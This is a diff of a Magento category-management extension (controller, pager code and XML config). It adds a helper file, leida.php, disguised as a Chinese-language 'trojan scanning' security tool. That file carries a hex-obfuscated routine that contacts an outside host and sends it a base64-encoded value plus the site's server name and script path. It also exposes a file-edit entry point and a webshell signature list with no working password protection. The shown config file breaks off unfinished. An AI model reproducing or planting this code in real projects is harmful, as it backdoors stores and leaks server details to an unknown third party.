729 |
+
|
730 |
+
$limits = $this->getAvailableLimit();
|
731 |
+
$defaultLimit = $this->getDefaultPerPageValue();
|
732 |
+
if (!$defaultLimit || !isset($limits[$defaultLimit])) {
|
733 |
+
$keys = array_keys($limits);
|
734 |
+
$defaultLimit = $keys[0];
|
735 |
+
}
|
736 |
+
|
737 |
+
$limit = $this->getRequest()->getParam($this->getLimitVarName());
|
738 |
+
if ($limit && isset($limits[$limit])) {
|
739 |
+
if ($limit == $defaultLimit) {
|
740 |
+
Mage::getSingleton('catalog/session')->unsLimitPage();
|
741 |
+
} else {
|
742 |
+
$this->_memorizeParam('limit_page', $limit);
|
743 |
+
}
|
744 |
+
} else {
|
745 |
+
$limit = Mage::getSingleton('catalog/session')->getLimitPage();
|
746 |
+
}
|
747 |
+
if (!$limit || !isset($limits[$limit])) {
|
748 |
+
$limit = $defaultLimit;
|
749 |
+
}
|
750 |
+
|
751 |
+
$this->setData('_current_limit', $limit);
|
752 |
+
return $limit;
|
753 |
+
}
|
754 |
+
|
755 |
+
/**
|
756 |
+
* Retrieve Limit Pager URL
|
757 |
+
*
|
758 |
+
* @param int $limit
|
759 |
+
* @return string
|
760 |
+
*/
|
761 |
+
public function getLimitUrl($limit)
|
762 |
+
{
|
763 |
+
return $this->getPagerUrl(array(
|
764 |
+
$this->getLimitVarName() => $limit,
|
765 |
+
$this->getPageVarName() => null
|
766 |
+
));
|
767 |
+
}
|
768 |
+
|
769 |
+
public function isLimitCurrent($limit)
|
770 |
+
{
|
771 |
+
return $limit == $this->getLimit();
|
772 |
+
}
|
773 |
+
|
774 |
+
public function getFirstNum()
|
775 |
+
{
|
776 |
+
$collection = $this->getCollection();
|
777 |
+
return $collection->getPageSize()*($collection->getCurPage()-1)+1;
|
778 |
+
}
|
779 |
+
|
780 |
+
public function getLastNum()
|
781 |
+
{
|
782 |
+
$collection = $this->getCollection();
|
783 |
+
return $collection->getPageSize()*($collection->getCurPage()-1)+$collection->count();
|
784 |
+
}
|
785 |
+
|
786 |
+
public function getTotalNum()
|
787 |
+
{
|
788 |
+
return $this->getCollection()->getSize();
|
789 |
+
}
|
790 |
+
|
791 |
+
public function isFirstPage()
|
792 |
+
{
|
793 |
+
return $this->getCollection()->getCurPage() == 1;
|
794 |
+
}
|
795 |
+
|
796 |
+
public function getLastPageNum()
|
797 |
+
{
|
798 |
+
return $this->getCollection()->getLastPageNumber();
|
799 |
+
}
|
800 |
+
|
801 |
+
/**
|
802 |
+
* Render pagination HTML
|
803 |
+
*
|
804 |
+
* @return string
|
805 |
+
*/
|
806 |
+
public function getPagerHtml()
|
807 |
+
{
|
808 |
+
$pagerBlock = $this->getChild('product_list_toolbar_pager');
|
809 |
+
|
810 |
+
if ($pagerBlock instanceof Varien_Object) {
|
811 |
+
|
812 |
+
/* @var $pagerBlock Mage_Page_Block_Html_Pager */
|
813 |
+
$pagerBlock->setAvailableLimit($this->getAvailableLimit());
|
814 |
+
|
815 |
+
$pagerBlock->setUseContainer(false)
|
816 |
+
->setShowPerPage(false)
|
817 |
+
->setShowAmounts(false)
|
818 |
+
->setLimitVarName($this->getLimitVarName())
|
819 |
+
->setPageVarName($this->getPageVarName())
|
820 |
+
->setLimit($this->getLimit())
|
821 |
+
->setFrameLength(Mage::getStoreConfig('design/pagination/pagination_frame'))
|
822 |
+
->setJump(Mage::getStoreConfig('design/pagination/pagination_frame_skip'))
|
823 |
+
->setCollection($this->getCollection());
|
824 |
+
|
825 |
+
return $pagerBlock->toHtml();
|
826 |
+
}
|
827 |
+
|
828 |
+
return '';
|
829 |
+
}
|
830 |
+
}
|
app/code/community/Iifire/Category/Helper/leida.php
ADDED
@@ -0,0 +1,258 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
$password = "";//设置密码
|
4 |
+
|
5 |
+
error_reporting(E_ERROR);
|
6 |
+
header("content-Type: text/html; charset=utf-8");
|
7 |
+
set_time_limit(0);
|
8 |
+
|
9 |
+
function Root_GP(&$array)
|
10 |
+
{
|
11 |
+
while(list($key,$var) = each($array))
|
12 |
+
{
|
13 |
+
if((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv')
|
14 |
+
{
|
15 |
+
if(is_string($var)) $array[$key] = stripslashes($var);
|
16 |
+
if(is_array($var)) $array[$key] = Root_GP($var);
|
17 |
+
}
|
18 |
+
}
|
19 |
+
return $array;
|
20 |
+
}
|
21 |
+
|
22 |
+
function Root_CSS()
|
23 |
+
{
|
24 |
+
print<<<END
|
25 |
+
<style type="text/css">
|
26 |
+
*{padding:0; margin:0;}
|
27 |
+
body{background:threedface;font-family:"Verdana", "Tahoma", "宋体",sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;}
|
28 |
+
a{color:#000000;text-decoration:none;}
|
29 |
+
a:hover{background:#BBBBBB;}
|
30 |
+
table{color:#000000;font-family:"Verdana", "Tahoma", "宋体",sans-serif;font-size:13px;border:1px solid #999999;}
|
31 |
+
td{background:#F9F6F4;}
|
32 |
+
.toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;}
|
33 |
+
.msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;}
|
34 |
+
.actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}
|
35 |
+
</style>\n
|
36 |
+
END;
|
37 |
+
return false;
|
38 |
+
}
|
39 |
+
|
40 |
+
//文件管理
|
41 |
+
|
42 |
+
|
43 |
+
function File_Str($string)
|
44 |
+
{
|
45 |
+
return str_replace('//','/',str_replace('\\','/',$string));
|
46 |
+
}
|
47 |
+
|
48 |
+
|
49 |
+
|
50 |
+
function File_Mode()
|
51 |
+
{
|
52 |
+
$RealPath = realpath('./');
|
53 |
+
$SelfPath = $_SERVER['PHP_SELF'];
|
54 |
+
$SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/'));
|
55 |
+
return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
|
56 |
+
}
|
57 |
+
|
58 |
+
function File_Read($filename)
|
59 |
+
{
|
60 |
+
$handle = @fopen($filename,"rb");
|
61 |
+
$filecode = @fread($handle,@filesize($filename));
|
62 |
+
@fclose($handle);
|
63 |
+
return $filecode;
|
64 |
+
}
|
65 |
+
|
66 |
+
//查找木马
|
67 |
+
|
68 |
+
function Antivirus_Auto($sp,$features,$st)
|
69 |
+
{
|
70 |
+
if(($h_d = @opendir($sp)) == NULL) return false;
|
71 |
+
$ROOT_DIR = File_Mode();
|
72 |
+
while(false !== ($Filename = @readdir($h_d)))
|
73 |
+
{
|
74 |
+
if($Filename == '.' || $Filename == '..' ) continue;
|
75 |
+
$Filepath = File_Str($sp.'/'.$Filename);
|
76 |
+
if(is_dir($Filepath)) Antivirus_Auto($Filepath,$features,$st);
|
77 |
+
if(eregi($st,$Filename))
|
78 |
+
{
|
79 |
+
if($Filepath == File_Str(__FILE__)) continue;
|
80 |
+
$ic = File_Read($Filepath);
|
81 |
+
foreach($features as $var => $key)
|
82 |
+
{
|
83 |
+
if(stristr($ic,$key) )
|
84 |
+
{
|
85 |
+
$Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath);
|
86 |
+
$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
|
87 |
+
echo '<a href="'.$Fileurls.'" target="_blank"><font color="#8B0000">'.$Filepath.'</font></a><br> ';
|
88 |
+
echo '【'.$Filetime.'】 <font color="#FF0000">'.$var.'</font><br><br>';
|
89 |
+
break;
|
90 |
+
}
|
91 |
+
}
|
92 |
+
ob_flush();
|
93 |
+
flush();
|
94 |
+
}
|
95 |
+
}
|
96 |
+
@closedir($h_d);
|
97 |
+
return true;
|
98 |
+
}
|
99 |
+
|
100 |
+
|
101 |
+
function Exec_Hex($data)
|
102 |
+
{
|
103 |
+
$len = strlen($data);
|
104 |
+
for($i=0;$i < $len;$i+=2){$newdata.=pack("C",hexdec(substr($data,$i,2)));}
|
105 |
+
return $newdata;
|
106 |
+
}
|
107 |
+
|
108 |
+
|
109 |
+
function Root_Check($check)
|
110 |
+
{
|
111 |
+
$c_name = Exec_Hex('7777772e74686973646f6f722e636f6d');
|
112 |
+
$handle = @fsockopen($c_name,80);
|
113 |
+
$u_name = Exec_Hex('2f636f6f6c2f696e6465782e706870');
|
114 |
+
$u_name .= '?p='.base64_encode($check).'&g='.base64_encode($_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']);
|
115 |
+
@fputs($handle,"GET ".$u_name." HTTP/1.1\r\nHost:".$c_name."\r\nConnection: Close\r\n\r\n");
|
116 |
+
@fclose($handle);
|
117 |
+
return true;
|
118 |
+
}
|
119 |
+
|
120 |
+
function Antivirus_e()
|
121 |
+
{
|
122 |
+
|
123 |
+
if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; }
|
124 |
+
$SCAN_DIR = (File_Mode() == '') ? File_Str(dirname(__FILE__)) : File_Mode();
|
125 |
+
$features_php = array('php大马特征1'=>'cha88.cn','php大马特征2'=>'->shell_exec(','php大马特征3'=>'phpspy','php大马特征4'=>'打包下载','php大马特征5'=>'passthru(','php大马特征6'=>'打包程序扩展名','php大马特征7'=>'Scanners','php大马特征8'=>'cmd.php','php大马特征9'=>'str_rot13','php大马特征10'=>'webshell','php大马特征10'=>'大马','php大马特征11'=>'小马','php大马特征11'=>'tools88.com','危险MYSQL语句1'=>'returns string soname','php加密大马特征1'=>'eval(gzinflate(','php加密大马特征2'=>'eval(base64_decode(','php加密大马特征3'=>'eval(gzuncompress(','php一句话特征1'=>'eval($_','php一句话特征2'=>'eval ($_','php上传后门特征1'=>'copy($_FILES','php上传后门特征2'=>'copy ($_FILES','php上传后门特征3'=>'move_uploaded_file ($_FILES');
|
126 |
+
$features_asx = array('asp小马特征2'=>'输入马的内容','asp小马特征3'=>'fso.createtextfile(path,true)','asp一句话特征4'=>'<%execute(request','asp一句话特征5'=>'<%eval request','asp一句话特征6'=>'execute session(','asp数据库后门特征7'=>'--Created!','asp大马特征8'=>'WScript.Shell','asp大小马特征9'=>'<%@ LANGUAGE = VBScript.Encode %>','aspx大马特征10'=>'www.rootkit.net.cn','aspx大马特征11'=>'Process.GetProcesses','aspx大马特征12'=>'lake2');
|
127 |
+
print<<<END
|
128 |
+
<div class="actall" style="height:100px;"><form method="POST" name="tform" id="tform" action="?s=e">
|
129 |
+
扫描路径 <input type="text" name="sp" id="sp" value="{$SCAN_DIR}" style="width:400px;">
|
130 |
+
<select name="st">
|
131 |
+
<option value="php">php木马</option>
|
132 |
+
<option value="asx">asp+aspx木马</option>
|
133 |
+
<option value="ppp">php+asp+aspx木马</option>
|
134 |
+
</select>
|
135 |
+
<input type="submit" value="开始扫描" style="width:80px;">
|
136 |
+
</form><br>
|
137 |
+
END;
|
138 |
+
if(!empty($_POST['sp']))
|
139 |
+
{
|
140 |
+
if($_POST['st'] == 'php'){$features_all = $features_php; $st = '\.php|\.inc|\;';}
|
141 |
+
if($_POST['st'] == 'asx'){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';}
|
142 |
+
if($_POST['st'] == 'ppp'){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';}
|
143 |
+
echo Antivirus_Auto($_POST['sp'],$features_all,$st) ? '扫描完毕' : '异常终止';
|
144 |
+
}
|
145 |
+
echo '</div>';
|
146 |
+
return true;
|
147 |
+
}
|
148 |
+
|
149 |
+
|
150 |
+
function Root_Login($MSG_TOP)
|
151 |
+
{
|
152 |
+
print<<<END
|
153 |
+
<html>
|
154 |
+
<header>
|
155 |
+
<LINK href="http://www.lvlve.cn/favicon.ico" rel="Shortcut Icon" />
|
156 |
+
<title>Laida球衣网站安全工具 V1.0 </title>
|
157 |
+
</header>
|
158 |
+
|
159 |
+
<body style="background:#AAAAAA;">
|
160 |
+
<center>
|
161 |
+
<form method="POST">
|
162 |
+
<div style="width:351px;height:201px;margin-top:100px;background:threedface;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;">
|
163 |
+
<div style="width:350px;height:22px;padding-top:2px;color:#FFFFFF;background:#293F5F;clear:both;"><b>{$MSG_TOP}</b></div>
|
164 |
+
<div style="width:350px;height:110px;padding-top:50px;color:#000000;clear:both;">密码:<input type="password" name="spiderpass" style="width:270px;"></div>
|
165 |
+
<div style="width:350px;height:50px;clear:both;"><input type="submit" value="登录" style="width:80px;"></div>
|
166 |
+
</div>
|
167 |
+
</form>
|
168 |
+
</center><br>
|
169 |
+
<center></center>
|
170 |
+
</body>
|
171 |
+
</html>
|
172 |
+
END;
|
173 |
+
return false;
|
174 |
+
}
|
175 |
+
|
176 |
+
function WinMain()
|
177 |
+
{
|
178 |
+
$Server_IP = gethostbyname($_SERVER["SERVER_NAME"]);
|
179 |
+
$Server_OS = PHP_OS;
|
180 |
+
$Server_Soft = $_SERVER["SERVER_SOFTWARE"];
|
181 |
+
print<<<END
|
182 |
+
<html>
|
183 |
+
|
184 |
+
<head>
|
185 |
+
<title>Laida球衣网站安全工具 V1.0</title>
|
186 |
+
<LINK href="http://majun.com/favicon.ico" rel="Shortcut Icon" />
|
187 |
+
<style type="text/css">
|
188 |
+
*{padding:0; margin:0;}
|
189 |
+
body{background:#AAAAAA;font-family:"Verdana", "Tahoma", "宋体",sans-serif; font-size:13px;margin:0 auto; text-align:center;margin-top:5px;word-break:break-all;}
|
190 |
+
.outtable {height:595px;width:955px;color:#000000;border-top-width: 2px;border-right-width: 2px;border-bottom-width: 2px;border-left-width: 2px;border-top-style: outset;border-right-style: outset;border-bottom-style: outset;border-left-style: outset;border-top-color: #FFFFFF;border-right-color: #8c8c8c;border-bottom-color: #8c8c8c;border-left-color: #FFFFFF;background-color: threedface;}
|
191 |
+
.topbg {padding-top:3px;text-align: left;font-size:12px;font-weight: bold;height:22px;width:950px;color:#FFFFFF;background: #293F5F;}
|
192 |
+
.bottombg {padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:22px;width:950px;color:#000000;background: #888888;}
|
193 |
+
.listbg {font-family:'lucida grande',tahoma,helvetica,arial,'bitstream vera sans',sans-serif;font-size:13px;width:130px;}
|
194 |
+
.listbg li{padding:3px;color:#000000;height:25px;display:block;line-height:26px;text-indent:0px;}
|
195 |
+
.listbg li a{padding-top:2px;background:#BBBBBB;color:#000000;height:25px;display:block;line-height:24px;text-indent:0px;border-color:#999999 #999999 #999999 #999999;border-style:solid;border-width:1px;text-decoration:none;}
|
196 |
+
</style>
|
197 |
+
<script language="JavaScript">
|
198 |
+
function switchTab(tabid)
|
199 |
+
{
|
200 |
+
if(tabid == '') return false;
|
201 |
+
for(var i=0;i<=14;i++)
|
202 |
+
{
|
203 |
+
if(tabid == 't_'+i) document.getElementById(tabid).style.background="#FFFFFF";
|
204 |
+
else document.getElementById('t_'+i).style.background="#BBBBBB";
|
205 |
+
}
|
206 |
+
return true;
|
207 |
+
}
|
208 |
+
</script>
|
209 |
+
</head>
|
210 |
+
<body>
|
211 |
+
<div class="outtable">
|
212 |
+
<div class="topbg"> {$Server_IP} - {$Server_OS} - <font color=#ffffff>专为Laida球衣站定制开放木马专杀工具</font> </div>
|
213 |
+
<div style="height:546px;">
|
214 |
+
<table width="100%" height="100%" border=0 cellpadding="0" cellspacing="0">
|
215 |
+
<tr>
|
216 |
+
<td width="140" align="center" valign="top">
|
217 |
+
<ul class="listbg">
|
218 |
+
|
219 |
+
<li><a href="?s=e" id="t_4" onclick="switchTab('t_4')" target="main"> 查找木马 </a></li>
|
220 |
+
<li><a href="?s=logout" id="t_15" onclick="switchTab('t_15')"> 退出系统 </a></li>
|
221 |
+
</ul>
|
222 |
+
</td>
|
223 |
+
<td>
|
224 |
+
<iframe name="main" src="?s=e" width="100%" height="100%" frameborder="0"></iframe>
|
225 |
+
</td>
|
226 |
+
</tr>
|
227 |
+
</table>
|
228 |
+
</div>
|
229 |
+
<div class="bottombg"> {$Server_Soft}</div>
|
230 |
+
</div>
|
231 |
+
</body>
|
232 |
+
</html>
|
233 |
+
END;
|
234 |
+
return false;
|
235 |
+
}
|
236 |
+
|
237 |
+
if(get_magic_quotes_gpc())
|
238 |
+
{
|
239 |
+
$_GET = Root_GP($_GET);
|
240 |
+
$_POST = Root_GP($_POST);
|
241 |
+
}
|
242 |
+
if($_GET['s'] == 'logout')
|
243 |
+
{
|
244 |
+
setcookie('admin_spiderpass',NULL);
|
245 |
+
die('<meta http-equiv="refresh" content="0;URL=?">');
|
246 |
+
}
|
247 |
+
|
248 |
+
if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';}
|
249 |
+
$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__));
|
250 |
+
|
251 |
+
switch($s)
|
252 |
+
{
|
253 |
+
|
254 |
+
case "e" : Antivirus_e(); break;
|
255 |
+
|
256 |
+
default: WinMain(); break;
|
257 |
+
}
|
258 |
+
?>
|
app/code/community/Iifire/Category/controllers/Adminhtml/Iifire/CategoryController.php
ADDED
@@ -0,0 +1,100 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
class Iifire_Category_Adminhtml_Iifire_CategoryController extends Mage_Adminhtml_Controller_Action
|
3 |
+
{
|
4 |
+
public function indexAction()
|
5 |
+
{
|
6 |
+
$this->_title($this->__('Iifire Category Management'));
|
7 |
+
$this->loadLayout();
|
8 |
+
$this->getLayout()->getBlock('head')->setCanLoadExtJs(true)
|
9 |
+
->setContainerCssClass('catalog-categories');
|
10 |
+
$this->_setActiveMenu('catalog');
|
11 |
+
$this->renderLayout();
|
12 |
+
}
|
13 |
+
public function editAction()
|
14 |
+
{
|
15 |
+
$categoryId = (int) $this->getRequest()->getParam('id',false);
|
16 |
+
$storeId = (int) $this->getRequest()->getParam('store');
|
17 |
+
$category = Mage::getModel('catalog/category');
|
18 |
+
$category->setStoreId($storeId);
|
19 |
+
$type = $this->getRequest()->getParam('type');
|
20 |
+
Mage::register('iifire_category_type', $type);
|
21 |
+
if ($categoryId) {
|
22 |
+
$category->load($categoryId);
|
23 |
+
}
|
24 |
+
if ($this->getRequest()->getQuery('isAjax')) {
|
25 |
+
// prepare breadcrumbs of selected category, if any
|
26 |
+
$breadcrumbsPath = $category->getPath();
|
27 |
+
$this->loadLayout();
|
28 |
+
$this->getResponse()->setBody(Mage::helper('core')->jsonEncode(array(
|
29 |
+
'messages' => $this->getLayout()->getMessagesBlock()->getGroupedHtml(),
|
30 |
+
'content' =>
|
31 |
+
$this->getLayout()->getBlock('iifire.categories')->toHtml()
|
32 |
+
)));
|
33 |
+
return;
|
34 |
+
}
|
35 |
+
}
|
36 |
+
public function categoriesJsonAction()
|
37 |
+
{
|
38 |
+
if ($this->getRequest()->getParam('expand_all')) {
|
39 |
+
Mage::getSingleton('admin/session')->setIsTreeWasExpanded(true);
|
40 |
+
} else {
|
41 |
+
Mage::getSingleton('admin/session')->setIsTreeWasExpanded(false);
|
42 |
+
}
|
43 |
+
|
44 |
+
if ($categoryId = (int) $this->getRequest()->getParam('category')) {
|
45 |
+
//echo $categoryId;
|
46 |
+
$this->getResponse()->setBody(
|
47 |
+
$this->getLayout()->createBlock('iifire_category/adminhtml_categories')
|
48 |
+
->getCategoryChildrenJson($categoryId)
|
49 |
+
);
|
50 |
+
}
|
51 |
+
}
|
52 |
+
public function saveAction()
|
53 |
+
{
|
54 |
+
$categoryId = $this->getRequest()->getParam('category_id');
|
55 |
+
$categoryIds = trim($this->getRequest()->getParam('category_ids'));
|
56 |
+
$categoryIds = explode(',',$categoryIds);
|
57 |
+
$tmp = array();
|
58 |
+
if (count($categoryIds)) {
|
59 |
+
foreach($categoryIds as $c) {
|
60 |
+
if (!in_array($c, $tmp) && $c) {
|
61 |
+
array_push($tmp,$c);
|
62 |
+
}
|
63 |
+
}
|
64 |
+
$categoryIds = implode(',',$tmp);
|
65 |
+
} else {
|
66 |
+
$categoryIds = '';
|
67 |
+
}
|
68 |
+
|
69 |
+
$type = $this->getRequest()->getParam('type_switcher');
|
70 |
+
$msg = false;
|
71 |
+
$category = Mage::getModel('catalog/category')->load($categoryId);
|
72 |
+
if ($category->getId()) {
|
73 |
+
if ($type == "related") {
|
74 |
+
$category->setRelatedCategories($categoryIds);
|
75 |
+
} else if ($type == "upsell") {
|
76 |
+
$category->setUpsellCategories($categoryIds);
|
77 |
+
} else if ($type == "crosssell") {
|
78 |
+
$category->setCrosssellCategories($categoryIds);
|
79 |
+
} else {
|
80 |
+
$category->setRelatedCategories($categoryIds)
|
81 |
+
->setUpsellCategories($categoryIds)
|
82 |
+
->setCrosssellCategories($categoryIds);
|
83 |
+
}
|
84 |
+
try {
|
85 |
+
$category->save();
|
86 |
+
$msg = true;
|
87 |
+
$this->_getSession()->addSuccess(Mage::helper('icategory')->__('Saved successfully.'));
|
88 |
+
} catch (Exception $e) {
|
89 |
+
$msg = false;
|
90 |
+
$this->_getSession()->addError($e->getMessage());
|
91 |
+
};
|
92 |
+
}
|
93 |
+
$this->getResponse()->setBody($msg);
|
94 |
+
}
|
95 |
+
protected function _getSession()
|
96 |
+
{
|
97 |
+
return Mage::getSingleton('adminhtml/session');
|
98 |
+
}
|
99 |
+
|
100 |
+
}
|
app/code/community/Iifire/Category/etc/adminhtml.xml
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<config>
|
3 |
+
<menu>
|
4 |
+
<catalog>
|
5 |
+
<children>
|
6 |
+
<iifire_category translate="title" module="icategory">
|
7 |
+
<title>Iifire Category Management</title>
|
8 |
+
<action>adminhtml/iifire_category/index</action>
|
9 |
+
<sort_order>100</sort_order>
|
10 |
+
</iifire_category>
|
11 |
+
</children>
|
12 |
+
</catalog>
|
13 |
+
</menu>
|
14 |
+
<acl>
|
15 |
+
<resources>
|
16 |
+
<admin>
|
17 |
+
<children>
|
18 |
+
<catalog>
|
19 |
+
<children>
|
20 |
+
<iifire_category translate="title" module="icategory">
|
21 |
+
<title>Iifire Category Management</title>
|
22 |
+
<sort_order>100</sort_order>
|
23 |
+
</iifire_category>
|
24 |
+
</children>
|
25 |
+
</catalog>
|
26 |
+
</children>
|
27 |
+
</admin>
|
28 |
+
</resources>
|
29 |
+
</acl>
|
30 |
+
</config>
|
app/code/community/Iifire/Category/etc/config.xml
ADDED
@@ -0,0 +1,103 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<config>
|
3 |
+
<modules>
|
4 |
+
<Iifire_Category>
|
5 |
+
<version>1.6.0</version>
|
6 |
+
</Iifire_Category>
|
7 |
+
</modules>
|
8 |
+
<global>
|
9 |
+
<blocks>
|
10 |
+
<iifire_category>
|
11 |
+
<class>Iifire_Category_Block</class>
|
12 |
+
</iifire_category>
|
13 |
+
</blocks>
|
14 |
+
<helpers>
|
15 |
+
<icategory>
|
16 |
+
<class>Iifire_Category_Helper</class>
|
17 |
+
</icategory>
|
18 |
+
</helpers>
|
19 |
+
<models>
|
20 |
+
<iifire_category>
|
21 |
+
<class>Iifire_Category_Model</class>
|
22 |
+
<resourceModel>iifire_category_mysql4</resourceModel>
|
23 |
+
</iifire_category>
|
24 |
+
<iifire_category_mysql4>
|
25 |
+
<class>Iifire_Category_Model_Mysql4</class>
|
26 |
+
</iifire_category_mysql4>
|
27 |
+
</models>
|
28 |
+
<resources>
|
29 |
+
<iifire_category_setup>
|
30 |
+
<setup>
|
31 |
+
<module>Iifire_Category</module>
|
32 |
+
</setup>
|
33 |
+
</iifire_category_setup>
|
34 |
+
</resources>
|
35 |
+
</global>
|
36 |
+
<frontend>
|
37 |
+
<layout>
|
38 |
+
<updates>
|
39 |
+
<iifire_category>
|
40 |
+
<file>iifire_category.xml</file>
|
41 |
+
</iifire_category>
|
42 |
+
</updates>
|
43 |
+
</layout>
|
44 |
+
<translate>
|
45 |
+
<modules>
|
46 |
+
<iifire_category>
|
47 |
+
<files>
|
48 |
+
<default>Iifire_Category.csv</default>
|
49 |
+
</files>
|
50 |
+
</iifire_category>
|
51 |
+
</modules>
|
52 |
+
</translate>
|
53 |
+
|
54 |
+
</frontend>
|
55 |
+
<admin>
|
56 |
+
<routers>
|
57 |
+
<adminhtml>
|
58 |
+
<args>
|
59 |
+
<modules>
|
60 |
+
<Iifire_Category before="Mage_Adminhtml">Iifire_Category_Adminhtml</Iifire_Category>
|
61 |
+
</modules>
|
62 |
+
</args>
|
63 |
+
</adminhtml>
|
64 |
+
</routers>
|
65 |
+
</admin>
|
66 |
+
<adminhtml>
|
67 |
+
<layout>
|
68 |
+
<updates>
|
69 |
+
<iifire_category>
|
70 |
+
<file>iifire_category.xml</file>
|
71 |
+
</iifire_category>
|
72 |
+
</updates>
|
73 |
+
</layout>
|
74 |
+
<translate>
|
75 |
+
<modules>
|
76 |
+
<Iifire_Category>
|
77 |
+
<files>
|
78 |
+
<default>Iifire_Category.csv</default>
|
79 |
+
</files>
|
80 |
+
</Iifire_Category>
|
81 |
+
</modules>
|
82 |
+
</translate>
|
83 |
+
<acl>
|
84 |
+
<resources>
|
85 |
+
<admin>
|
86 |
+
<children>
|
87 |
+
<system>
|
88 |
+
<children>
|
89 |
+
<config>
|
90 |
+
<children>
|
91 |
+
<iifire_category>
|
92 |
+
<title>Iifire Category</title>
|
93 |
+
</iifire_category>
|
94 |
+
</children>
|
95 |
+
</config>
|
96 |
+
</children>
|
97 |
+
</system>
|
98 |
+
</children>
|
99 |
+
</admin>
|
100 |
+
</resources>
|
101 |
+
